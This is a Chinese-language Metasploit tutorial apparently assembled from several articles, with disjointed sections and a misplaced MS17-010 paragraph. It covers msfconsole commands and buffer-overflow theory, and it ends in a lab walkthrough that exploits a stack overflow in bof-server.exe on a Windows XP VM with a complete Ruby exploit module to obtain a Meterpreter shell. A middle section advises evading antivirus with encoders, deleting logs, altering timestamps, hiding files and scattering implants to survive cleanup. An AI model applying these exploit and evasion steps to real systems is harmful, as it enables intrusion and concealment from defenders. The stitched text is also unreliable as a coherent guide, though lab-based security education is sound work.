Metasploit Framework 是非常優秀的開源滲透測試框架。
Metasploit 滲透測試框架包含3功能模塊:
msfconsole
msfconsole是MSF中最主要最常用的功能組件,使用集成化的使用方法,可以使用MSF中的所有命令和模塊,支持很多其它接口方式不支持的功能。
msfconsole主要有以下特點:
使用流程
help命令
和其它基于命令行的程序一樣,使用?或者help可以顯示MSF所支持的命令,如下為MSF內置的全部命令。
show命令
在msfconsole中鍵入show,系統會顯示Metasploit的所有模塊,若想顯示某一類型的模塊可以加入模塊名稱,最常用的主要有一下三個:
search命令
search 命令是最常用的命令之一,用于查找各種exploit、payload、auxiliary等,命令支持基于正則表達式的模糊查詢。如下為查找ms08-067實例:
info命令
info用于顯示特殊模塊的詳細信息,顯示內容包括該模塊的選項、目標及其它信息。以下是使用info命令顯示ms08-067實例:
use命令
use命令用于使用特殊的模塊,如利用程序、shellcode或輔助模塊等。以ms08-067為例,模塊名稱必須包含完整的路徑,可以通過search命令搜索,以下還演示了show options、show targets命令的使用。
conect 命令
connect命令可以連接到遠程主機,連接方式和nc、telnet相同,可以指定端口,如下為connect命令演示:
set命令
set命令用于當前使用模塊的選項和設置參數。
set payload xxx/xxx z設置溢出代碼
set encoder xxx/xxx 設置利用程序編碼方式
set target xxx 設置目標類型
set xxx xxx 設置參數
check命令
部分exploit支持check命令,該命令用于檢測目標系統是否存在漏洞,而不是進行溢出操作。如下:說明目標系統不存在漏洞
設置全局變量
Metasploit 支持設置全局變量并可以進行存儲,下次登錄時直接使用。設置全局變量使用setg命令,unsetg撤銷全局變量,save用于保存全局變量。如下所示:
exploit/run命令
設置好各個參數后,可以使用exploit命令執行溢出操作,當使用了自定義auxiliary參數時,需要用run命令執行操作。
resource命令
resource命令可以加載資源文件,并按順序執行文件中的命令。
irb命令
運行irb命令,進入irb腳本模式,可以執行命令創建腳本。
[root@k8s-master p3]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb [root@k8s-master p3]# ./msfinstall [root@k8s-master p3]# chmod 755 msfinstall [root@k8s-master p3]# msfconsole -v Framework Version: 5.0.25-dev-
msfconsole
?或者 help
show exploits 用于展示Metaploit目錄中所有可用的漏洞利用代碼和攻擊載荷。
info exploit/windows/wins/ms04_045_wins
use exploit/windows/wins/ms04_045_wins
set RHOST 192.168.1.250 設置目標 set RPORT 36568 設置端口 set PAYLOAD generic/shell_bind_tcp 設置使用的shellcode exploit 執行攻擊
使用的版本共有:
exploits總的來說共分為兩類溢出(exploit)攻擊方法,即主動溢出和被動溢出
在所有的exploit中,針對windows平臺的最多,比其它所有平臺的總和還要多。
緩沖區溢出是指當計算機向緩沖區內填充數據位數時超過了緩沖區本身的容量溢出的數據覆蓋在合法數據上,理想的情況是程序檢查數據長度并不允許輸入超過緩沖區長度的字符,但是絕大多數程序都會假設數據長度總是與所分配的儲存空間相匹配,這就為緩沖區溢出埋下隱患.操作系統所使用的緩沖區又被稱為"堆棧". 在各個操作進程之間,指令會被臨時儲存在"堆棧"當中,"堆棧"也會出現緩沖區溢出。
緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用程序中廣泛存在。利用緩沖區溢出可民導致程序運行失敗、系統死機、重新啟動等后,也可以利用其獲得非授權指令,甚至系統特權,進而進行各種非法的操作。
在當前網絡與分布式系統安全中,被廣泛利用的50%以上都是緩沖區溢出。緩沖區溢出中,最為危險的是堆棧溢出,因為入侵者可以利用堆棧溢出,在函數返回時改變返回程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務,另外一種就是跳轉并且執行一段惡意代碼,比如得到shell,然后為所欲為。
通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。
隨便往緩沖區中填東西造成它溢出一般只會出現"分段錯誤"(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序屬于root且有suid權限的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。
緩沖區溢出攻擊之所以成為一種常見安全攻擊手段其原因在于緩沖區溢出漏洞太普遍了,并且易于實現。而且,緩沖區溢出成為遠程攻擊的主要手段其原因在于緩沖區溢出漏洞給予了攻擊者他所想要的一切:植入并且執行攻擊代碼。被植入的攻擊代碼以一定的權限運行有緩沖區溢出漏洞的程序,從而得到被攻擊主機的控制權。
緩沖區溢出攻擊的目的在于擾亂具有某些特權運行的程序的功能,這樣可以使得攻擊者取得程序的控制權,如果該程序具有足夠的權限,那么整個主機就被控制了。一般而言,攻擊者攻擊root程序,然后執行類似"exec(sh)"的執行代碼來獲得root權限的shell。為了達到這個目的,攻擊者必須達到如下的兩個目標:
1. 在程序的地址空間里安排適當的代碼。
2. 通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執行。
每當一個函數調用發生時,調用者會在堆棧中留下一個活動紀錄,它包含了函數結束時返回的地址。攻擊者通過溢出堆棧中的自動變量,使返回地址指向攻擊代碼。通過改變程序的返回地址,當函數調用結束時,程序就跳轉到攻擊者設定的地址,而不是原先的地址。這類的緩沖區溢出被稱為堆棧溢出攻擊(Stack Smashing Attack),是目前最常用的緩沖區溢出攻擊方式。
函數指針可以用來定位任何地址空間。例如:"void (* foo)()"聲明了一個返回值為void的函數指針變量foo。所以攻擊者只需在任何空間內的函數指針附近找到一個能夠溢出的緩沖區,然后溢出這個緩沖區來改變函數指針。在某一時刻,當程序通過函數指針調用函數時,程序的流程就按攻擊者的意圖實現了。它的一個攻擊范例就是在Linux系統下的superprobe程序。
在C語言中包含了一個簡單的檢驗/恢復系統,稱為setjmp/longjmp。意思是在檢驗點設定"setjmp(buffer)",用"longjmp(buffer)"來恢復檢驗點。然而,如果攻擊者能夠進入緩沖區的空間,那么"longjmp(buffer)"實際上是跳轉到攻擊者的代碼。象函數指針一樣,longjmp緩沖區能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩沖區。
在metasploit中溢出模塊(Exploit)共分為13種,分別是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。
輔助(Auxiliary)模塊共分為13種,分別是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。
加載(payload)模塊共分為13種,分別是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。
Metasploit Framework并不止具有exploit(溢出)收集功能,它使你專注于創建自己的溢出模塊或者二次開發。很少的一部分用匯編和C語言實現,其余均由ruby實現。總體架構如圖9所示:
Metasploit中的類和方法具有很好的可讀性,并且采用了元編程的思想,使得進行二次開發更加方便快捷。簡單的說一個程序能夠產生另一個程序,就是元編程。ruby、python等均可方便的采用元編程思想。metasploit中前四個字母正好是meta,猜測其是Metaprogramming的含義。
Metasploit中所有的模塊都從Msf::Module中繼承,并且所有的模塊有一個共享的API庫。
在Metasploit中修改的exploit、payload等模塊時,直接找到相應的文件修改并保存,重新啟動console即可看到自己修改后的模塊的效果。
在metasploit當中增加exploit、auxiliary等模塊時,最快捷的方法是仿照現有的模塊方式、使用metasploit中提供的協議(比如使用metasploit中的socket方法,而不使用ruby中的socket方法,meterpreter對socket進行的封裝和擴展功能,使用起來更加方便,增加了代理、ssh等特征)。模塊寫好后放在相應的目錄,重新啟動console即可看到自己所增加的模塊部分。
下面是一些攻擊經常使用的模塊的位置。
auxiliary模塊位于/msf3/modules/auxiliary/下。 Exploits模塊位于/msf3/modules/exploits/下。 Payloads模塊位于/msf3/modules/payloads/下。 Nops模塊位于/msf3/modules/nops下。 Encoders模塊位于/msf3/modules/encoders/下。
另外在core部分也有一些exploit、aux等,其作用是為上述的攻擊部分提供基礎,被上述模塊調用。在windows或是在linux中都使用上述方法進行二次開發。后面會詳細的介紹新增一個exploit的方法和過程。
1 基于事務發生的時間戳,時間
2 發現可疑文件時,尋找其它具有類似MAC地址的文件,位置
3 根據文件擴展名和簽名,文件特征
4 對于系統內文件創建MD5校驗,內容
5 查找相應的關鍵字,關鍵字
6 對文件的內容進行行為分析,行為分析。安全軟件預先知道大量的病毒指令序列,可對文件內容進行檢測,如果發現匹配的序列就發出警告。
7 檢查當前的進程、端口、文件系統等,狀態檢查
8 在文件寫入磁盤時進行檢測。
針對安全軟件常用的檢測方法,metasploit當中集成了一些反檢測的方法。還有一些相應的建議。
1 在metasploit中使用了meterpreter方法提供一些實用的API。但是meterpreter整個運行在內存當中;但它并不創建新的進程;并且使用了加密的通信方法;并且能夠有效的消除入侵證據。整個過程大約在1秒內完成。避免了一些安全軟件對于進程的檢測。
2 內置了27種encode模塊,可對metasploit中的exploit進行編碼(encode),以避免反病毒軟件檢測。27 種encode如下:
Name Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
很多反病毒軟件是基于簽名(signature-based)技術來進行病毒檢測的,metasploit可以使用相應的payload將簽名更改,從而達到反檢測的目的。比如對一個軟件采用多種編碼方法以應對安全軟件的檢測,比如"ABC"這三個字母對于某個漏洞而言具有攻擊性,編碼時對每個字母采用不同的編碼方式以逃避安全軟件的檢測。
3 內置日志刪除模塊,可以刪除相應的事務日志,以避免檢測。
4 metasploit framework中集成了timestomp(用于修改文件時間戳)、slacker(用于隱藏文件)、SAM Juicer(meterpreter的一部分,用于從SAM中轉儲哈希)、偽造MAC地址等工具用于消除入侵證據。
5 避免使用一些明顯具有木馬或病毒含義的名子或關鍵字,如"灰鴿子"等肯定會引起安全軟件的注意。
6 所開發的模塊盡量放在目標機多個存儲位置,以避免所有的模塊被安全軟件一次清除
7 攻擊安全軟件,使安全軟件失效,目前還未開發。
1 獲得EIP。IP是指令寄存器,存放當前指令的下一條指令的地址,CPU該執行哪條指令就是通過IP來指示的。EIP為32位機的指令寄存器,存放的是相對地址,也就是基于段基址的偏移值。CPU的ESP寄存器存放當前線程的棧頂指針,EBP存放當前線程的棧底指針。
2插入shellcode。Shellcode實際上是一段代碼或填充數據,用來發送到服務器利用特定的漏洞的代碼,一般可以獲取權限。另外,shellcode一般是作為數據發送給受攻擊服務的。Shellcode是溢出程序或病毒的核心。主要針對沒有打補丁的主機有作用。Shellcode一般用C語言或匯編語言編寫,C語言編寫較快,匯編語言便于控制shellcode的生成。一個shellcode只能為特定的平臺所使用,不能供多個溢出程序、操作系統使用。
Shellcode即可以是本地的也可以是遠程的。本地shellcode主要是一名攻擊者為了獲取本地計算機權限,例如一段緩沖區溢出程序成功執行后可以獲得一定的權限。
遠程shellcode主要是一名攻擊者為了獲得本地網絡或互聯網上另一臺主機的控制權限,如果成功后攻擊者可以通過網絡獲得目標主機的控制權限。如果它可以連接攻擊者和被攻擊者,稱為反向連接shellcode。如果它通過綁定一個相應的端口來進行控制,稱之為bindshell。第三種shellcode非常特殊,它在目標機上創建一個可以讓攻擊者重復利用的連接,而這個連接是建立在目標機現有的連接之上,并不創建新的連接。這種shellcode最難創建也最不容易被檢測。
3反向連接shell
即將目標主機當做服務,攻擊者機器作為客戶端。
4 添加用戶或其它
1 特洛伊木馬(Trojan horse)潛茂在其它有用的軟件中實施惡意操作的指令。通常將編寫程序時就已經安裝的惡意指令稱為特洛伊木馬,在程序編寫完后加入的惡意代碼稱為病毒。
2 病毒(virus) 在執行之后能將自身植入到其它程序中的指令。病毒安裝在其它程序的方式:替換任意指令,比如在X處的指令替換成跳轉到內存的其他某個地方Y,然后在Y處執行病毒代碼,然后在病毒代碼后加入口令,使病毒代碼執行完后跳到X+1處。
Metasploit中的exploit部分設計目標是提供一個開發exploit簡單方法,提供了大量的庫,并且使用了ruby中的Mix-in(糅和或混合插入)方法實現多重繼承,以便于讓二次開發人員能夠快速的進行二次開發。
所有的exploit都具有類似的結構,每一個exploit開始都有一個initialize;其次定義了check方法,此方法并不是必須的;最后定義了exploit方法。
在initialize方法中,含有本exploit的描述信息(作者、漏洞溢出方法描述)、使用選項(設定主機IP、端口號等)和shellcode部分。
Check方法并不是必須的,主要是檢查目標機的情況,比如目標機是否易受攻擊,本溢出方法是否適合攻擊目標機等。檢查完后返回一些已經預定義好的值(后面的注釋為自我理解,可能不夠準確),如下:
CheckCode::Safe 目標機安全,攻擊可能無效 CheckCode::Detected 目標機提供了相應的服務 CheckCode::Appears 目標機已經被感染 CheckCode::Vulnerable 目標機易受攻擊 CheckCode::Unsupported 本exploit對目標機不可用
Exploit方法主要是連接到目標主機,執行shellcode等。
將其直接放在msf3\modules\exploits\windows\imap\目錄下,再查找一次。
仍然是沒有找到,重新console,然后再進行查找。
在上圖中可以看到,已經查找到了新增加的exploit。下面看是否能使用,對其使用use,然后查看其選項。
然后設定目標IP(本例中設定了自己建立的虛擬機)并進行check,因為虛擬機中并沒有安裝相應的服務,所以check的時候失敗。
1、情報搜集
(1) 信息搜索
nslookup與dig域名查詢
(2) 主機探測與端口掃描
Nmap進行主機探測
nmap -sn 192.168.1.0/24
(ICMP包探測,Ping掃描,適合內網,外網容易被防火墻過濾掉)
nmap -Pn -sn 192.168.1.0/24
(UDP包探測,適合Internet環境,功能類似于metasploit的udp_sweep模塊)
nmap的端口掃描功能
nmap -sV -Pn 192.168.1.2
(3) 服務掃描與查點
SSH服務掃描
SSH服務口令猜測(此模塊需要自己設置或者導入USERNAME或者PASS_FILE文件作為猜測的依據)
2、web漏洞掃描
流程:
3、生成惡意攻擊腳本
流程:
本實驗目的是Kali系統利用Windows XP棧溢出漏洞,以Metasploit溢出bof-server.exe為例,進行攻擊及shell反彈。在進行所有實驗之前,需要保證虛擬機各系統之間能夠相互通信,安裝過程詳見之前的文章。
第一步,點擊“虛擬機”->“設置”。
第二步,將XP和Kali網絡連接屬性均勾選成“NAT模式”,然后點擊確定。
第三步,配置后在kali的shell上用ifconfig命令查看主機IP。
第四步,在Windows的命令行中用ipconfig查看主機IP。
同時,主機Win10系統也能夠Ping通虛擬機和Kali系統。
bof-serve下載地址:https://github.com/eastmountyxz/Security-Software-Based
第一步,在主機Win10系統中設置共享文件夾,將bof-serve.exe共享給虛擬機中的XP系統。
第二步,在XP系統下載該軟件至E盤,并在CMD中運行該軟件。
bof-server.exe 4242
此時XP系統為服務端,開啟4242端口處于監聽狀態。
第三步,Windows XP SP3關閉堆棧執行保護(DEP)保護。
棧溢出保護
它是一種緩沖區溢出攻擊緩解手段,當函數存在緩沖區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。
右鍵“我的電腦”,點擊“屬性”,然后在“高級”中選擇“啟動和故障恢復設置”,如下圖所示:
節點點擊“編輯”按鈕,彈出boot.ini文件。
代碼如下:
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect
我們將“noexecute=optin”修改為“noexecute=AlwaysOff”,表示關閉DEP堆棧執行保護。
第四步,在Kali系統中設置遠程連接。
telnet 192.168.44.130 4242
此時遠程連接成功,輸入“version”可以看到XP系統中bof-server的版本信息。
同樣,XP系統可以看到目標客戶端Kali系統(192.168.44.129)已經連接。
第五步,用python生成1024個A,并且發送這些字符串給XP系統。
python -c "print('A'*1024)"
注意通過telnet連接XP系統,然后發送這1024個字符串。
第六步,觀察XP系統,會返現bof-server.exe產生崩潰。
第七步,檢查錯誤原因發現偏移處是41414141,這正是A的ascii碼,說明發生了溢出。
三.使用Msfconsole進入msf控制臺
Msfconsole提供了一個一體化的集中控制臺。通過msfconsole,你可以訪問和使用所有的metasploit的插件、payload、利用模塊、post模塊等。Msfconsole還有第三方程序的接口,比如nmap、sqlmap等,可以直接在msfconsole里面使用。 在啟動MSF終端之后,可以首先輸入help命令列出MSF終端所支持的命令列表,包括核心命令集和后端數據庫命令集。對于其中的大部分命令,你可以輸入help[COMMAND],進一步查看該命令的使用幫助信息。
第一步,輸入Msfconsole打開msf。
msfconsole
第二步,輸入search ms08-067查找漏洞。大家簡單了解其功能,后續會寫一篇文章專門分享。
search ms08-067
第三步,使用Metasploit中的pattern_create.rb腳本生成字符序列。
首先我們查看以下pattern_create.rb腳本的幫助信息,在Kali命令行輸入如下信息:
root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options:
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
在msf控制臺中輸入以下命令生成字符序列。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
第四步,調用telnet遠程連接XP系統,并將生成的內容復制發送。
第五步,確定溢出點位置。
使用pattern_create.rb產生1024個有序的字符,用同樣的方式發送到XP系統,發現Offset位置為“72413372”。
此時的偏移是“72413372”,也就是說可以利用這個偏移來定位Buf的長度。任意非00的指令覆蓋buffer和EBP,其結構我們再觀察一遍Payload結構,如下圖所示。
第六步,調用文件pattern_offset.rb計算偏移量,其offset準確字節數量為520。
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1024
這里我們用到的工具是Metasploit下的pattern_offset.rb,查看pattern_offset.rb腳本的幫助信息如下:
root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9
Options:
-q, --query Aa0A Query to Locate
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
其中參數“-q”是要查詢的地址,參數“-l”是要查詢的字符序列的長度。我們對應的地址為72413372,生成的字符序列的長度為1024,其命令為:
msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1024
[*] Exact match at offset 520
最終得出結果為520。
使用pattern_offset計算得到長度是第520位。接下來尋找一個jmp esp的地址,用Immunity Debugger調試工具打開bof-server查看其調用的dll文件,這里選取WS2_32.dll這個文件。
下載地址或github:http://www.immunityinc.com/products/debugger/
第一步,通過文件共享功能將Immunity Debugger軟件分享給XP系統。
第二步,安裝并打開Immunity Debugger軟件,點擊“File”->“Attach”,顯示目標機上運行的所有進程。
第三步,運行XP系統的服務程序bof-server.exe,端口為4242,處于監聽狀態。
第四步,查看XP系統上的所有進程,找到名稱為bof-server.exe的進程并查看。
第五步,選中bof-server.exe進程,單擊右下角的Attach按鈕。
此時,顯示bof-server.exe的運行信息如下:
第六步,選擇“View”->“Executable modules”菜單。
點擊后的效果如下圖所示:
這里,就是bof-server.exe運行加載的所有DLL文件了。這里我們選擇一個ws2_32.dll文件上傳到Kali的root目錄下。復制的方法包括:
ws2_32.DLL復制到Kali的目錄,如下圖所示:
接下來,我們需要通過工具Metasploit下的msfbinscan查找JMP ESP指令的地址。
Metasploit Framework(MSF)是一款開源安全漏洞檢測工具,附帶數千個已知的軟件漏洞,并保持持續更新。Metasploit可以用來信息收集、漏洞探測、漏洞利用等滲透測試的全流程,被安全社區冠以“可以黑掉整個宇宙”之名。剛開始的Metasploit是采用Perl語言編寫的,但是再后來的新版中,改成了用Ruby語言編寫的了。在kali中,自帶了Metasploit工具。我們接下來以大名鼎鼎的永恒之藍MS17_010漏洞為切入點,講解MSF框架的使用。
第一步,進入msf命令行,在Kali終端下輸入“msfconsole”命令。
查看msfbinscan的幫助信息,如下:
msf > msfbinscan -h
[*] exec: msfbinscan -h
Usage: /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin/msfbinscan [mode] <options> [targets]
Modes:
-j, --jump [regA,regB,regC] Search for jump equivalent instructions [PE|ELF|MACHO]
-p, --poppopret Search for pop+pop+ret combinations [PE|ELF|MACHO]
-r, --regex [regex] Search for regex match [PE|ELF|MACHO]
-a, --analyze-address [address] Display the code at the specified address [PE|ELF]
-b, --analyze-offset [offset] Display the code at the specified offset [PE|ELF]
-f, --fingerprint Attempt to identify the packer/compiler [PE]
-i, --info Display detailed information about the image [PE]
-R, --ripper [directory] Rip all module resources to disk [PE]
--context-map [directory] Generate context-map files [PE]
Options:
-A, --after [bytes] Number of bytes to show after match (-a/-b) [PE|ELF|MACHO]
-B, --before [bytes] Number of bytes to show before match (-a/-b) [PE|ELF|MACHO]
-I, --image-base [address] Specify an alternate ImageBase [PE|ELF|MACHO]
-D, --disasm Disassemble the bytes at this address [PE|ELF]
-F, --filter-addresses [regex] Filter addresses based on a regular expression [PE]
-h, --help Show this message
msf >
第二步,輸入如下命令來獲取JMP ESP指令的地址。
msf > msfbinscan --jump esp ./ws2_32.dll
[*] exec: msfbinscan -jump esp ./ws2_32.dll
[./ws2_32.dll]
0x71a22b53 push esp; ret
msf >
可以看到,我們得出的JMP ESP指令的地址為:0x71a22b53。
接著編寫攻擊腳本,其代碼為bof_attack.rb,使用該腳本得到shell。源代碼如下所示:
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Stack Based Buffer Overflow Example',
'Description' => %q{
Stack Based Overflow Example Application Exploitation Module
},
'Platform' => 'Windows',
'Author' => 'yanhan',
'Payload' =>
{
'space' => 1000,
'BadChars' => "\x00\xff"
},
'Targets' =>
[
[
'Windows XP SP3',
{'Ret' => find it, 'Offset' => find it}
]
],
'DisclosureDate' => '2019-05-25'
))
end
def exploit
connect
buf = make_nops(target['Offset'])
buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
需要注意核心代碼:
'Targets' =>
[
['Windows XP SP3',
{'Ret' => 0x71a22b53, 'Offset' => 520}
]
],
其中,Ret的值要和第五部分中找到的JMP ESP指令的地址一致,Offset的值要和第三步中找出的準確字節數一致。對應為:
第一步,將Ruby腳本上傳至Kali系統。
第二步,將bof_attack.rb腳本上傳到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目錄下。
下面代碼是創建文件夾meterpreter,再復制Ruby腳本至該文件夾的過程,同時查看了各級目錄的內容,加深讀者的印象。
cd /usr/share
ls
cd metasploit-framework/modules/exploits
ls
cd windows
ls
發現不存在該文件夾之后,調用“mkdir meterpreter”創建文件夾。
mkdir meterpreter
cd meterpreter
ls
調用命令復制至該文件夾。
cp ./bof_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
ls
第三步,運行攻擊腳本并拿到了目標服務器的Meterpreter Shell。
啟動msf控制臺
msfconsole
運行ruby腳本
use exploit/windows/meterpreter/bof_attack.rb
設置目標服務器IP地址(Windows XP系統)
set RHOST 192.168.44.130
設置目標服務器端口
set RPORT 4242
查看配置信息
show options
第四步,調用exploit命令對棧溢出漏洞進行攻擊。再輸入ls,可以看到我們目標XP服務器的E盤內容已經被提權,這就是所謂的Windows漏洞利用。
上面“ls”命令對應的內容即為XP系統E盤的文件,如下圖所示:
需要注意,我們在執行這些操作過程中,XP系統的bof-server.exe需要一直運行,處于監聽狀態。某些情況可能會提示錯誤“Exploit completed, but no session was created”,如下圖所示:
查看目標機的bof-server.exe命令行的緩沖區溢出并斷開了監聽。建議大家在目標機上多運行幾次bof-server.exe和在Kali上多運行幾次exploit,直到成功拿到Meterpreter Shell。
文章寫到這里,就介紹完畢,希望文章對您有所幫助,尤其是文章擴展的幾個工具,您下來也可以詳細學習。這篇文章主要講解了如果搭建XP和Kali環境,并通過Windows漏洞實現棧溢出攻擊,通過Metasploit反彈shell,從而Kali系統獲取了XP系統的shell。該棧溢出的具體流程包括:
任意非00的指令覆蓋buffer和EBP
從程序已經加載的dll中獲取他們的jmp esp指令地址。
使用jmp esp的指令地址覆蓋ReturnAddress
從下一行開始填充Shellcode
雖然是非常基礎的一篇文章,但希望讀者閱讀并完成文章的實驗。接下來作者將繼續學習并分享更多的Windows漏洞利用或網絡安全的文章。最后給出相關的命令。
希望這系列文章對您有所幫助,真的感覺自己技術好菜,要學的知識好多。這是第54篇原創的安全系列文章,從網絡安全到系統安全,從木馬病毒到后門劫持,從惡意代碼到溯源分析,從滲透工具到二進制工具,還有Python安全、頂會論文、黑客比賽和漏洞分享。未知攻焉知防,人生漫漫其路遠兮,作為初學者,自己真是爬著前行,感謝很多人的幫助,繼續爬著,繼續加油!